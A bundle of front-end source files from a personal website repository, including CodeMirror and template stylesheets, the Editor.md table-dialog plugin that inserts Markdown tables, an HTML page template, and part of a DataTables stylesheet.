.cm-s-tomorrow-night-bright .CodeMirror-guttermarker-subtle { color: #777; }
.cm-s-tomorrow-night-bright .CodeMirror-linenumber {color: #424242;}
.cm-s-tomorrow-night-bright .CodeMirror-cursor {border-left: 1px solid #6A6A6A !important;}
.cm-s-tomorrow-night-bright span.cm-comment {color: #d27b53;}
.cm-s-tomorrow-night-bright span.cm-atom {color: #a16a94;}
.cm-s-tomorrow-night-bright span.cm-number {color: #a16a94;}
.cm-s-tomorrow-night-bright span.cm-property, .cm-s-tomorrow-night-bright span.cm-attribute {color: #99cc99;}
.cm-s-tomorrow-night-bright span.cm-keyword {color: #d54e53;}
.cm-s-tomorrow-night-bright span.cm-string {color: #e7c547;}
.cm-s-tomorrow-night-bright span.cm-variable {color: #b9ca4a;}
.cm-s-tomorrow-night-bright span.cm-variable-2 {color: #7aa6da;}
.cm-s-tomorrow-night-bright span.cm-def {color: #e78c45;}
.cm-s-tomorrow-night-bright span.cm-bracket {color: #eaeaea;}
.cm-s-tomorrow-night-bright span.cm-tag {color: #d54e53;}
.cm-s-tomorrow-night-bright span.cm-link {color: #a16a94;}
.cm-s-tomorrow-night-bright span.cm-error {background: #d54e53; color: #6A6A6A;}
.cm-s-tomorrow-night-bright .CodeMirror-activeline-background {background: #2a2a2a !important;}
.cm-s-tomorrow-night-bright .CodeMirror-matchingbracket { text-decoration: underline; color: white !important;}
| Humsen/web/web-mobile/WebContent/plugins/editormd/lib/codemirror/theme/tomorrow-night-bright.css/0 | {
"file_path": "Humsen/web/web-mobile/WebContent/plugins/editormd/lib/codemirror/theme/tomorrow-night-bright.css",
"repo_id": "Humsen",
"token_count": 712
} | 44 |
/*!
* Table dialog plugin for Editor.md
*
* @file table-dialog.js
* @author pandao
* @version 1.2.1
* @updateTime 2015-06-09
* {@link https://github.com/pandao/editor.md}
* @license MIT
*/
(function() {
var factory = function (exports) {
var $ = jQuery;
var pluginName = "table-dialog";
var langs = {
"zh-cn" : {
toolbar : {
table : "表格"
},
dialog : {
table : {
title : "添加表格",
cellsLabel : "单元格数",
alignLabel : "对齐方式",
rows : "行数",
cols : "列数",
aligns : ["默认", "左对齐", "居中对齐", "右对齐"]
}
}
},
"zh-tw" : {
toolbar : {
table : "添加表格"
},
dialog : {
table : {
title : "添加表格",
cellsLabel : "單元格數",
alignLabel : "對齊方式",
rows : "行數",
cols : "列數",
aligns : ["默認", "左對齊", "居中對齊", "右對齊"]
}
}
},
"en" : {
toolbar : {
table : "Tables"
},
dialog : {
table : {
title : "Tables",
cellsLabel : "Cells",
alignLabel : "Align",
rows : "Rows",
cols : "Cols",
aligns : ["Default", "Left align", "Center align", "Right align"]
}
}
}
};
exports.fn.tableDialog = function() {
var _this = this;
var cm = this.cm;
var editor = this.editor;
var settings = this.settings;
var path = settings.path + "../plugins/" + pluginName +"/";
var classPrefix = this.classPrefix;
var dialogName = classPrefix + pluginName, dialog;
$.extend(true, this.lang, langs[this.lang.name]);
this.setToolbar();
var lang = this.lang;
var dialogLang = lang.dialog.table;
var dialogContent = [
"<div class=\"editormd-form\" style=\"padding: 13px 0;\">",
"<label>" + dialogLang.cellsLabel + "</label>",
dialogLang.rows + " <input type=\"number\" value=\"3\" class=\"number-input\" style=\"width:40px;\" max=\"100\" min=\"2\" data-rows /> ",
dialogLang.cols + " <input type=\"number\" value=\"2\" class=\"number-input\" style=\"width:40px;\" max=\"100\" min=\"1\" data-cols /><br/>",
"<label>" + dialogLang.alignLabel + "</label>",
"<div class=\"fa-btns\"></div>",
"</div>"
].join("\n");
if (editor.find("." + dialogName).length > 0)
{
dialog = editor.find("." + dialogName);
this.dialogShowMask(dialog);
this.dialogLockScreen();
dialog.show();
}
else
{
dialog = this.createDialog({
name : dialogName,
title : dialogLang.title,
width : 360,
height : 226,
mask : settings.dialogShowMask,
drag : settings.dialogDraggable,
content : dialogContent,
lockScreen : settings.dialogLockScreen,
maskStyle : {
opacity : settings.dialogMaskOpacity,
backgroundColor : settings.dialogMaskBgColor
},
buttons : {
enter : [lang.buttons.enter, function() {
var rows = parseInt(this.find("[data-rows]").val());
var cols = parseInt(this.find("[data-cols]").val());
var align = this.find("[name=\"table-align\"]:checked").val();
var table = "";
var hrLine = "------------";
var alignSign = {
_default : hrLine,
left : ":" + hrLine,
center : ":" + hrLine + ":",
right : hrLine + ":"
};
if ( rows > 1 && cols > 0)
{
for (var r = 0, len = rows; r < len; r++)
{
var row = [];
var head = [];
for (var c = 0, len2 = cols; c < len2; c++)
{
if (r === 1) {
head.push(alignSign[align]);
}
row.push(" ");
}
if (r === 1) {
table += "| " + head.join(" | ") + " |" + "\n";
}
table += "| " + row.join( (cols === 1) ? "" : " | " ) + " |" + "\n";
}
}
cm.replaceSelection(table);
this.hide().lockScreen(false).hideMask();
return false;
}],
cancel : [lang.buttons.cancel, function() {
this.hide().lockScreen(false).hideMask();
return false;
}]
}
});
}
var faBtns = dialog.find(".fa-btns");
if (faBtns.html() === "")
{
var icons = ["align-justify", "align-left", "align-center", "align-right"];
var _lang = dialogLang.aligns;
var values = ["_default", "left", "center", "right"];
for (var i = 0, len = icons.length; i < len; i++)
{
var checked = (i === 0) ? " checked=\"checked\"" : "";
var btn = "<a href=\"javascript:;\"><label for=\"editormd-table-dialog-radio"+i+"\" title=\"" + _lang[i] + "\">";
btn += "<input type=\"radio\" name=\"table-align\" id=\"editormd-table-dialog-radio"+i+"\" value=\"" + values[i] + "\"" +checked + " /> ";
btn += "<i class=\"fa fa-" + icons[i] + "\"></i>";
btn += "</label></a>";
faBtns.append(btn);
}
}
};
};
// CommonJS/Node.js
if (typeof require === "function" && typeof exports === "object" && typeof module === "object")
{
module.exports = factory;
}
else if (typeof define === "function") // AMD/CMD/Sea.js
{
if (define.amd) { // for Require.js
define(["editormd"], function(editormd) {
factory(editormd);
});
} else { // for Sea.js
define(function(require) {
var editormd = require("./../../editormd");
factory(editormd);
});
}
}
else
{
factory(window.editormd);
}
})();
| Humsen/web/web-mobile/WebContent/plugins/editormd/plugins/table-dialog/table-dialog.js/0 | {
"file_path": "Humsen/web/web-mobile/WebContent/plugins/editormd/plugins/table-dialog/table-dialog.js",
"repo_id": "Humsen",
"token_count": 3140
} | 45 |
/* =======================================================
*
* Template Style
* Edit this section
*
* ======================================================= */
body {
font-weight: 300;
line-height: 1.6;
/* font-family: "Times New Roman", Times, serif; */
font-family: "Georgia", Tahoma, Sans-Serif;
/* background-image: url("/images/background/bg-3.jpg"); */
}
@media screen and (max-width: 992px) {
body {
font-size: 14px;
}
}
a:hover, a:active, a:focus {
color: #228896;
outline: none;
text-decoration: none !important;
}
p {
margin-bottom: 1.5em;
}
figure {
margin-bottom: 2.5em;
float: left;
width: 100%;
}
figure figcaption {
font-size: 16px;
width: 80%;
margin: 20px auto 0px auto;
color: #b3b3b3;
font-style: italic;
font-family: "Roboto", Arial, sans-serif;
}
.copyrights {
text-indent: -9999px;
height: 0;
line-height: 0;
font-size: 0;
overflow: hidden;
}
@media screen and (max-width: 480px) {
figure figcaption {
width: 100%;
}
}
::-webkit-selection {
color: #fff;
background: #228896;
}
::-moz-selection {
color: #fff;
background: #228896;
}
::selection {
color: #fff;
background: #228896;
}
#fh5co-page {
width: 100%;
overflow: hidden;
position: relative;
}
#fh5co-aside {
margin-top: 60px;
padding-bottom: 40px;
width: 16%;
position: fixed;
bottom: 0;
top: 0;
left: 0;
/* overflow-y: scroll; */
z-index: 1001;
transition: 0.5s;
}
@media screen and (max-width: 1200px) {
#fh5co-aside {
width: 30%;
}
}
@media screen and (max-width: 768px) {
#fh5co-aside {
width: 270px;
-moz-transform: translateX(-270px);
-webkit-transform: translateX(-270px);
-ms-transform: translateX(-270px);
-o-transform: translateX(-270px);
transform: translateX(-270px);
}
}
#fh5co-aside #fh5co-logo {
text-align: center;
font-family: "Roboto", Arial, sans-serif;
font-weight: 700;
margin-bottom: 2em;
font-size: 38px;
}
@media screen and (max-width: 768px) {
#fh5co-aside #fh5co-logo {
margin-bottom: 1em;
}
}
#fh5co-aside #fh5co-logo a {
color: #000;
}
#fh5co-aside #fh5co-logo a span {
font-weight: 300;
color: rgba(0, 0, 0, 0.5);
}
#fh5co-aside #fh5co-main-menu ul {
text-align: center;
margin: 0;
padding: 0;
}
@media screen and (max-width: 768px) {
#fh5co-aside #fh5co-main-menu ul {
margin: 0 0 2em 0;
}
}
#fh5co-aside #fh5co-main-menu ul li {
margin: 0 0 20px 0;
padding: 0;
list-style: none;
}
#fh5co-aside #fh5co-main-menu ul li a {
color: rgba(0, 0, 0, 0.9);
text-decoration: none;
letter-spacing: .1em;
font-size: 13px;
font-weight: 600;
position: relative;
padding: 10px 10px;
letter-spacing: .2em;
font-family: "Roboto", Arial, sans-serif;
-webkit-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s;
}
#fh5co-aside #fh5co-main-menu ul li a:after {
content: "";
position: absolute;
height: 2px;
bottom: 7px;
left: 10px;
right: 10px;
background-color: #228896;
visibility: hidden;
-webkit-transform: scaleX(0);
-moz-transform: scaleX(0);
-ms-transform: scaleX(0);
-o-transform: scaleX(0);
transform: scaleX(0);
-webkit-transition: all 0.3s cubic-bezier(0.175, 0.885, 0.32, 1.275);
-moz-transition: all 0.3s cubic-bezier(0.175, 0.885, 0.32, 1.275);
-ms-transition: all 0.3s cubic-bezier(0.175, 0.885, 0.32, 1.275);
-o-transition: all 0.3s cubic-bezier(0.175, 0.885, 0.32, 1.275);
transition: all 0.3s cubic-bezier(0.175, 0.885, 0.32, 1.275);
}
#fh5co-aside #fh5co-main-menu ul li a:hover {
text-decoration: none;
color: black;
}
#fh5co-aside #fh5co-main-menu ul li a:hover:after {
visibility: visible;
-webkit-transform: scaleX(1);
-moz-transform: scaleX(1);
-ms-transform: scaleX(1);
-o-transform: scaleX(1);
transform: scaleX(1);
}
#fh5co-aside #fh5co-main-menu ul li.fh5co-active a {
color: black;
}
#fh5co-aside #fh5co-main-menu ul li.fh5co-active a:after {
visibility: visible;
-webkit-transform: scaleX(1);
-moz-transform: scaleX(1);
-ms-transform: scaleX(1);
-o-transform: scaleX(1);
transform: scaleX(1);
}
#fh5co-aside .fh5co-footer {
/* position: absolute; */
bottom: 40px;
font-size: 14px;
text-align: center;
width: 100%;
font-weight: 400;
color: rgba(0, 0, 0, 0.6);
padding: 0 20px;
}
@media screen and (max-width: 768px) {
#fh5co-aside .fh5co-footer {
position: relative;
bottom: 0;
}
}
#fh5co-aside .fh5co-footer span {
display: block;
}
#fh5co-aside .fh5co-footer ul {
padding: 0;
margin: 0;
text-align: center;
}
#fh5co-aside .fh5co-footer ul li {
padding: 0;
margin: 0;
display: inline;
list-style: none;
}
#fh5co-aside .fh5co-footer ul li a {
color: rgba(0, 0, 0, 0.7);
padding: 4px;
}
#fh5co-aside .fh5co-footer ul li a:hover, #fh5co-aside .fh5co-footer ul li a:active,
#fh5co-aside .fh5co-footer ul li a:focus {
text-decoration: none;
outline: none;
color: #228896;
}
#fh5co-main {
width: 60%;
float: left;
margin-left: 16%;
-webkit-transition: 0.5s;
-o-transition: 0.5s;
transition: 0.5s;
}
@media screen and (max-width: 1200px) {
#fh5co-main {
width: 70%;
}
}
@media screen and (max-width: 768px) {
#fh5co-main {
width: 100%;
}
}
#fh5co-main .fh5co-narrow-content {
position: relative;
width: 93%;
margin: 0 auto;
padding: 4em 0;
clear: both;
}
@media screen and (max-width: 768px) {
#fh5co-main .fh5co-narrow-content {
width: 100%;
padding: 4em 1em;
}
}
#fh5co-hero {
min-height: 500px;
background: #fff url(../images/loader.gif) no-repeat center center;
width: 100%;
float: left;
clear: both;
}
#fh5co-hero {
font-size: 14px;
}
#fh5co-hero {
padding: 14px 30px !important;
}
#fh5co-hero .flexslider {
border: none;
z-index: 1;
margin-bottom: 0;
}
#fh5co-hero .flexslider .slides {
position: relative;
overflow: hidden;
}
#fh5co-hero .flexslider .slides .overlay {
position: absolute;
top: 0;
bottom: 0;
left: 0;
right: 0;
content: '';
background: rgba(0, 0, 0, 0.3);
}
#fh5co-hero .flexslider .slides li {
background-repeat: no-repeat;
background-size: cover;
background-position: bottom center;
min-height: 500px;
position: relative;
}
#fh5co-hero .flexslider .flex-control-nav {
bottom: 20px;
z-index: 1000;
right: 20px;
float: right;
width: auto;
}
#fh5co-hero .flexslider .flex-control-nav li {
display: block;
margin-bottom: 10px;
}
#fh5co-hero .flexslider .flex-control-nav li a {
background: rgba(255, 255, 255, 0.2);
box-shadow: none;
width: 12px;
height: 12px;
cursor: pointer;
}
#fh5co-hero .flexslider .flex-control-nav li a.flex-active {
cursor: pointer;
background: transparent;
border: 2px solid #228896;
}
#fh5co-hero .flexslider .flex-direction-nav {
display: none;
}
#fh5co-hero .flexslider .slider-text {
display: table;
opacity: 0;
min-height: 500px;
z-index: 9;
}
#fh5co-hero .flexslider .slider-text>.slider-text-inner {
display: table-cell;
vertical-align: middle;
min-height: 700px;
padding: 2em;
}
@media screen and (max-width: 768px) {
#fh5co-hero .flexslider .slider-text>.slider-text-inner {
text-align: center;
}
}
#fh5co-hero .flexslider .slider-text>.slider-text-inner h1, #fh5co-hero .flexslider .slider-text>.slider-text-inner h2
{
margin: 0;
padding: 0;
color: white;
font-family: "Roboto", Arial, sans-serif;
}
#fh5co-hero .flexslider .slider-text>.slider-text-inner h1 {
margin-bottom: 20px;
font-size: 45px;
line-height: 1.3;
font-weight: 100;
font-family: "Roboto", Arial, sans-serif;
}
@media screen and (max-width: 768px) {
#fh5co-hero .flexslider .slider-text>.slider-text-inner h1 {
font-size: 28px;
}
}
#fh5co-hero .flexslider .slider-text>.slider-text-inner h2 {
font-size: 18px;
line-height: 1.5;
margin-bottom: 30px;
font-weight: 300;
}
#fh5co-hero .flexslider .slider-text>.slider-text-inner h2 a {
color: rgba(34, 136, 150, 0.8);
border-bottom: 1px solid rgba(34, 136, 150, 0.7);
}
#fh5co-hero .flexslider .slider-text>.slider-text-inner .heading-section
{
font-size: 50px;
}
@media screen and (max-width: 768px) {
#fh5co-hero .flexslider .slider-text>.slider-text-inner .heading-section
{
font-size: 30px;
}
}
#fh5co-hero .flexslider .slider-text>.slider-text-inner s
.fh5co-lead {
font-size: 20px;
color: #fff;
}
#fh5co-hero .flexslider .slider-text>.slider-text-inner s
.fh5co-lead .icon-heart {
color: #d9534f;
}
#fh5co-hero .flexslider .slider-text>.slider-text-inner {
font-size: 12px;
letter-spacing: 2px;
color: #fff;
padding: 22px 30px !important;
border: none;
font-weight: 500;
}
#fh5co-hero .flexslider .slider-text>.slider-text-inner {
background: #fff;
color: #000;
}
#fh5co-hero .flexslider .slider-text>.slider-text-inner {
color: #fff;
}
@media screen and (max-width: 768px) {
#fh5co-hero .flexslider .slider-text>.slider-text-inner {
width: 100%;
}
}
.fh5co-bg-color {
width: 100%;
float: left;
background: #fff;
}
body.offcanvas {
overflow-x: hidden;
}
body.offcanvas #fh5co-aside {
-moz-transform: translateX(0);
-webkit-transform: translateX(0);
-ms-transform: translateX(0);
-o-transform: translateX(0);
transform: translateX(0);
width: 270px;
background: #fff;
z-index: 999;
position: fixed;
}
body.offcanvas #fh5co-main, body.offcanvas .fh5co-nav-toggle {
top: 0;
-moz-transform: translateX(270px);
-webkit-transform: translateX(270px);
-ms-transform: translateX(270px);
-o-transform: translateX(270px);
transform: translateX(270px);
}
.fh5co-services {
margin-top: 5px;
}
.fh5co-services ul {
list-style: none;
padding: 0;
margin: 0;
}
.blog-entry {
width: 100%;
float: left;
background: #f3f3f1;
}
@media screen and (max-width: 768px) {
.blog-entry {
margin-bottom: 30px;
}
}
.blog-entry .blog-img {
width: 100%;
float: left;
overflow: hidden;
position: relative;
z-index: 1;
margin-bottom: 25px;
}
.blog-entry .blog-img img {
position: relative;
max-width: 100%;
-webkit-transform: scale(1.2);
-moz-transform: scale(1.2);
-ms-transform: scale(1.2);
-o-transform: scale(1.2);
transform: scale(1.2);
-webkit-transition: 0.9s;
-o-transition: 0.9s;
transition: 0.9s;
}
.blog-entry .desc {
padding: 0 25px 20px 25px;
}
.blog-entry .desc h3 {
margin-bottom: 10px;
letter-spacing: 1px;
line-height: auto;
}
.blog-entry .desc span {
display: block;
margin-bottom: 20px;
font-size: 13px;
letter-spacing: 1px;
}
.blog-entry .desc span small i {
color: #e6e6e6;
}
.blog-entry .desc .lead {
font-size: 12px;
letter-spacing: 2px;
color: #000;
}
.blog-entry:hover .blog-img img {
-webkit-transform: scale(1);
-moz-transform: scale(1);
-ms-transform: scale(1);
-o-transform: scale(1);
transform: scale(1);
}
.work {
background-size: cover;
background-position: center center;
background-repeat: no-repeat;
position: relative;
height: 270px;
width: 100%;
display: table;
overflow: hidden;
}
@media screen and (max-width: 768px) {
.work {
height: 400px;
}
}
@media screen and (max-width: 480px) {
.work {
height: 270px;
}
}
.work .desc {
display: table-cell;
vertical-align: middle;
height: 270px;
background: #fff;
opacity: 0;
-webkit-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s;
}
.work .desc h3 {
font-size: 14px;
-webkit-transition: -webkit-transform 0.3s, opacity 0.3s;
transition: transform 0.3s, opacity 0.3s;
-webkit-transform: translate3d(0, -15px, 0);
transform: translate3d(0, -15px, 0);
}
.work .desc span {
display: block;
color: #999999;
font-size: 12px;
-webkit-transition: -webkit-transform 0.3s, opacity 0.3s;
transition: transform 0.3s, opacity 0.3s;
-webkit-transform: translate3d(0, 15px, 0);
transform: translate3d(0, 15px, 0);
}
@media screen and (max-width: 768px) {
.work .desc {
opacity: 1;
background: transparent !important;
}
.work .desc h3 {
-webkit-transform: translate3d(0, 0, 0);
transform: translate3d(0, 0, 0);
color: #fff;
}
.work .desc span {
-webkit-transform: translate3d(0, 0, 0);
transform: translate3d(0, 0, 0);
}
}
.work:hover .desc {
opacity: 1;
}
.work:hover .desc h3 {
-webkit-transform: translate3d(0, 0, 0);
transform: translate3d(0, 0, 0);
}
.work:hover .desc span {
-webkit-transform: translate3d(0, 0, 0);
transform: translate3d(0, 0, 0);
}
.fh5co-lead {
font-size: 18px;
line-height: 1.5;
}
.fh5co-heading-colored {
color: #228896;
font-size: 30px;
}
.fh5co-cards {
padding: 1em 0;
background: #e6e6e6;
}
@media screen and (max-width: 768px) {
.fh5co-cards {
padding: 1em 0;
}
}
.fh5co-cards .fh5co-flex-wrap {
display: -webkit-box;
display: -moz-box;
display: -ms-flexbox;
display: -webkit-flex;
display: flex;
flex-wrap: wrap;
-webkit-flex-wrap: wrap;
-moz-flex-wrap: wrap;
}
.fh5co-cards .fh5co-flex-wrap>div {
width: 49.5%;
margin-right: 1%;
background: #fff;
padding: 30px;
margin-bottom: 10px;
}
.fh5co-cards .fh5co-flex-wrap>div:nth-of-type(1) {
float: left;
}
.fh5co-cards .fh5co-flex-wrap>div:nth-of-type(2) {
float: right;
margin-right: 0%;
}
@media screen and (max-width: 992px) {
.fh5co-cards .fh5co-flex-wrap>div {
width: 100%;
margin-right: 0;
}
}
.fh5co-cards .fh5co-flex-wrap .fh5co-card p:last-child, send-again {
margin-bottom: 0;
}
.fh5co-cards .fh5co-flex-wrap .fh5co-card h5 {
font-size: 12px;
letter-spacing: .2em;
padding: 4px 8px;
background: #ebebeb;
display: -moz-inline-stack;
display: inline-block;
zoom: 1;
*display: inline;
}
.fh5co-counter .fh5co-number {
font-size: 100px;
color: #228896;
font-weight: 400;
margin: 0;
padding: 0;
line-height: .7;
}
.fh5co-counter .fh5co-number.fh5co-left {
float: left;
width: 30%;
}
@media screen and (max-width: 768px) {
.fh5co-counter .fh5co-number.fh5co-left {
width: 100%;
line-height: 1.2;
}
}
.fh5co-counter .fh5co-text {
float: right;
text-align: left;
width: 70%;
}
@media screen and (max-width: 768px) {
.fh5co-counter .fh5co-text {
width: 100%;
text-align: center;
}
}
.fh5co-counter .fh5co-text h3 {
margin: 0;
padding: 0;
position: relative;
}
.fh5co-counter .fh5co-text h3.border-bottom:after {
content: "";
width: 50px;
}
.fh5co-social {
padding: 0;
margin: 0;
text-align: center;
}
.fh5co-social li {
padding: 0;
margin: 0;
list-style: none;
display: -moz-inline-stack;
display: inline-block;
zoom: 1;
*display: inline;
}
.fh5co-social li a {
font-size: 22px;
color: #000;
padding: 10px;
display: -moz-inline-stack;
display: inline-block;
zoom: 1;
*display: inline;
-webkit-border-radius: 7px;
-moz-border-radius: 7px;
-ms-border-radius: 7px;
border-radius: 7px;
}
@media screen and (max-width: 768px) {
.fh5co-social li a {
padding: 10px 8px;
}
}
.fh5co-social li a:hover {
color: #228896;
}
.fh5co-social li a:hover, .fh5co-social li a:active, .fh5co-social li a:focus
{
outline: none;
text-decoration: none;
color: #228896;
}
#map {
width: 100%;
height: 700px;
}
@media screen and (max-width: 768px) {
#map {
height: 200px;
}
}
.fh5co-more-contact {
background: #fafafa;
}
.fh5co-feature {
text-align: left;
width: 100%;
float: left;
margin-bottom: 40px;
position: relative;
}
.fh5co-feature .fh5co-icon {
position: absolute;
top: 0;
left: 0;
width: 100px;
height: 100px;
display: table;
text-align: center;
background: rgba(0, 0, 0, 0.05);
-webkit-border-radius: 50%;
-moz-border-radius: 50%;
-ms-border-radius: 50%;
border-radius: 50%;
}
.fh5co-feature .fh5co-icon i {
display: table-cell;
vertical-align: middle;
color: #228896;
font-size: 40px;
height: 100px;
}
@media screen and (max-width: 1200px) {
.fh5co-feature .fh5co-icon i {
font-size: 40px;
}
}
.fh5co-feature .fh5co-text {
padding-left: 120px;
width: 100%;
}
.fh5co-feature .fh5co-text h2, .fh5co-feature .fh5co-text h3 {
margin: 0;
padding: 0;
}
.fh5co-feature .fh5co-text h3 {
font-weight: 500;
margin-bottom: 20px;
color: rgba(0, 0, 0, 0.8);
font-size: 14px;
letter-spacing: .2em;
}
.fh5co-feature.fh5co-feature-sm .fh5co-text {
margin-top: 30px;
}
.fh5co-feature.fh5co-feature-sm .fh5co-icon i {
color: #228896;
font-size: 40px;
}
@media screen and (max-width: 1200px) {
.fh5co-feature.fh5co-feature-sm .fh5co-icon i {
font-size: 28px;
}
}
.fh5co-heading {
font-size: 18px;
margin-bottom: 2em;
font-weight: 500;
letter-spacing: 2px;
}
.fh5co-heading.fh5co-light {
color: #fff;
}
.fh5co-heading span {
display: block;
}
@media screen and (max-width: 768px) {
.fh5co-heading {
margin-bottom: 1em;
}
}
.btn-outline {
background: none;
border: 2px solid gray;
font-size: 16px;
-webkit-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s;
}
.btn-outline:hover, .btn-outline:focus, .btn-outline:active {
box-shadow: none;
}
#message {
height: 130px;
}
.fh5co-nav-toggle {
cursor: pointer;
text-decoration: none;
}
.fh5co-nav-toggle.active i::before, .fh5co-nav-toggle.active i::after {
background: #000;
}
.fh5co-nav-toggle.dark.active i::before, .fh5co-nav-toggle.dark.active i::after
{
background: #000;
}
.fh5co-nav-toggle:hover, .fh5co-nav-toggle:focus, .fh5co-nav-toggle:active
{
outline: none;
border-bottom: none !important;
}
.fh5co-nav-toggle i {
position: relative;
display: -moz-inline-stack;
display: inline-block;
zoom: 1;
*display: inline;
width: 30px;
height: 2px;
color: #000;
font: bold 14px/.4 Helvetica;
text-indent: -55px;
background: #000;
transition: all .2s ease-out;
}
.fh5co-nav-toggle i::before, .fh5co-nav-toggle i::after {
content: '';
width: 30px;
height: 2px;
background: #000;
position: absolute;
left: 0;
-webkit-transition: 0.2s;
-o-transition: 0.2s;
transition: 0.2s;
}
.fh5co-nav-toggle.dark i {
position: relative;
color: #000;
background: #000;
transition: all .2s ease-out;
}
.fh5co-nav-toggle.dark i::before, .fh5co-nav-toggle.dark i::after {
background: #000;
-webkit-transition: 0.2s;
-o-transition: 0.2s;
transition: 0.2s;
}
.fh5co-nav-toggle i::before {
top: -7px;
}
.fh5co-nav-toggle i::after {
bottom: -7px;
}
.fh5co-nav-toggle:hover i::before {
top: -10px;
}
.fh5co-nav-toggle:hover i::after {
bottom: -10px;
}
.fh5co-nav-toggle.active i {
background: transparent;
}
.fh5co-nav-toggle.active i::before {
top: 0;
-webkit-transform: rotateZ(45deg);
-moz-transform: rotateZ(45deg);
-ms-transform: rotateZ(45deg);
-o-transform: rotateZ(45deg);
transform: rotateZ(45deg);
}
.fh5co-nav-toggle.active i::after {
bottom: 0;
-webkit-transform: rotateZ(-45deg);
-moz-transform: rotateZ(-45deg);
-ms-transform: rotateZ(-45deg);
-o-transform: rotateZ(-45deg);
transform: rotateZ(-45deg);
}
.fh5co-nav-toggle {
position: fixed;
left: 0;
top: 0px;
z-index: 9999;
cursor: pointer;
opacity: 1;
visibility: hidden;
padding: 20px;
-webkit-transition: 0.5s;
-o-transition: 0.5s;
transition: 0.5s;
}
@media screen and (max-width: 768px) {
.fh5co-nav-toggle {
opacity: 1;
visibility: visible;
}
}
@media screen and (max-width: 480px) {
.col-xxs-12 {
float: none;
width: 100%;
}
}
.row-bottom-padded-lg {
padding-bottom: 7em;
}
@media screen and (max-width: 768px) {
.row-bottom-padded-lg {
padding-bottom: 1em;
}
}
.row-bottom-padded-md {
padding-bottom: 4em;
}
@media screen and (max-width: 768px) {
.row-bottom-padded-md {
padding-bottom: 1em;
}
}
.row-bottom-padded-sm {
padding-bottom: 1em;
}
@media screen and (max-width: 768px) {
.row-bottom-padded-sm {
padding-bottom: 1em;
}
}
.col-padding {
padding: 10px !important;
}
.js .animate-box {
opacity: 0;
}
.label-lowercase {
text-transform: initial !important;
}
/*# sourceMappingURL=style.css.map */ | Humsen/web/web-mobile/WebContent/plugins/template/css/style.css/0 | {
"file_path": "Humsen/web/web-mobile/WebContent/plugins/template/css/style.css",
"repo_id": "Humsen",
"token_count": 8941
} | 46 |
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>代码库</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description"
content="欢迎来到何明胜的个人网站.本站主要用于记录和分享本人的学习心得和编程经验,并分享常见可复用代码、推荐书籍以及软件等资源.本站源码已托管github,欢迎访问:https://github.com/HelloHusen/web">
<meta name="keywords" content="何明胜,何明胜的个人网站,何明胜的博客,一格的程序人生">
<meta name="author" content="何明胜,一格">
<!-- 网站图标 -->
<link rel="shortcut icon" href="/images/favicon.ico">
<!-- jQuery -->
<script src="/plugins/jquery/js/jquery-3.2.1.min.js"></script>
<!-- 自定义脚本 -->
<script src="/js/article/code-template.js"></script>
<!-- 显示markdown,只有显示文章细节才有 -->
<!-- editor.md -->
<link rel="stylesheet"
href="/plugins/editormd/css/editormd.preview.min.css">
<link rel="stylesheet" href="/plugins/editormd/css/editormd.min.css">
<!-- editor.md -->
<script src="/plugins/editormd/lib/marked.min.js"></script>
<script src="/plugins/editormd/lib/prettify.min.js"></script>
<script src="/plugins/editormd/js/editormd.min.js"></script>
<script src="/js/article/article-markdown.js"></script>
<!-- 自定义CSS -->
<link rel="stylesheet" href="/css/article/article.css">
<!-- 自定义脚本 -->
<script src="/js/article/article-markdown.js"></script>
<script src="/js/article/code-details.js"></script>
</head>
<body>
<input id="menuBarNo" value="2" type="hidden">
<div id="fh5co-page">
<a href="#" class="js-fh5co-nav-toggle fh5co-nav-toggle"><i></i></a> <input
id="menuBarNo" type="hidden" value="2" />
<!-- 左侧导航 -->
<!-- 中间内容 -->
<div id="fh5co-main">
<div id="list_clode" class="fh5co-post">
<!-- js脚本动态添加内容 -->
<div class="fh5co-entry markdown-body editormd-html-preview"
id="content">
</div>
</div>
</div>
<!-- 右侧固定栏 -->
</div>
</body>
</html> | Humsen/web/web-mobile/WebContent/topic/code/code_template.html/0 | {
"file_path": "Humsen/web/web-mobile/WebContent/topic/code/code_template.html",
"repo_id": "Humsen",
"token_count": 1003
} | 47 |
@charset "UTF-8";
.show-users-table {
margin: 50px auto;
}
.user-id-width {
min-width: 50px;
}
.user-nick-name-width{
min-width: 60px;
}
.user-common-width{
min-width: 30px;
} | Humsen/web/web-pc/WebContent/css/personal_center/show-users.css/0 | {
"file_path": "Humsen/web/web-pc/WebContent/css/personal_center/show-users.css",
"repo_id": "Humsen",
"token_count": 90
} | 48 |
table.dataTable {
clear: both;
margin-top: 6px !important;
margin-bottom: 6px !important;
max-width: none !important;
}
table.dataTable td,
table.dataTable th {
-webkit-box-sizing: content-box;
box-sizing: content-box;
}
table.dataTable td.dataTables_empty,
table.dataTable th.dataTables_empty {
text-align: center;
}
table.dataTable.nowrap th,
table.dataTable.nowrap td {
white-space: nowrap;
}
div.dataTables_wrapper div.row.uk-grid.dt-merge-grid {
margin-top: 5px;
}
div.dataTables_wrapper div.dataTables_length label {
font-weight: normal;
text-align: left;
white-space: nowrap;
}
div.dataTables_wrapper div.dataTables_length select {
width: 75px;
display: inline-block;
}
div.dataTables_wrapper div.dataTables_filter {
text-align: right;
}
div.dataTables_wrapper div.dataTables_filter label {
font-weight: normal;
white-space: nowrap;
text-align: left;
}
div.dataTables_wrapper div.dataTables_filter input {
margin-left: 0.5em;
display: inline-block;
width: auto;
}
div.dataTables_wrapper div.dataTables_info {
padding-top: 8px;
white-space: nowrap;
}
div.dataTables_wrapper div.dataTables_paginate {
margin: 0;
white-space: nowrap;
text-align: right;
}
div.dataTables_wrapper div.dataTables_paginate ul.pagination {
margin: 2px 0;
white-space: nowrap;
}
div.dataTables_wrapper div.dataTables_processing {
position: absolute;
top: 50%;
left: 50%;
width: 200px;
margin-left: -100px;
margin-top: -26px;
text-align: center;
padding: 1em 0;
}
table.dataTable thead > tr > th,
table.dataTable thead > tr > td {
position: relative;
}
table.dataTable thead > tr > th.sorting_asc, table.dataTable thead > tr > th.sorting_desc, table.dataTable thead > tr > th.sorting,
table.dataTable thead > tr > td.sorting_asc,
table.dataTable thead > tr > td.sorting_desc,
table.dataTable thead > tr > td.sorting {
padding-right: 30px;
}
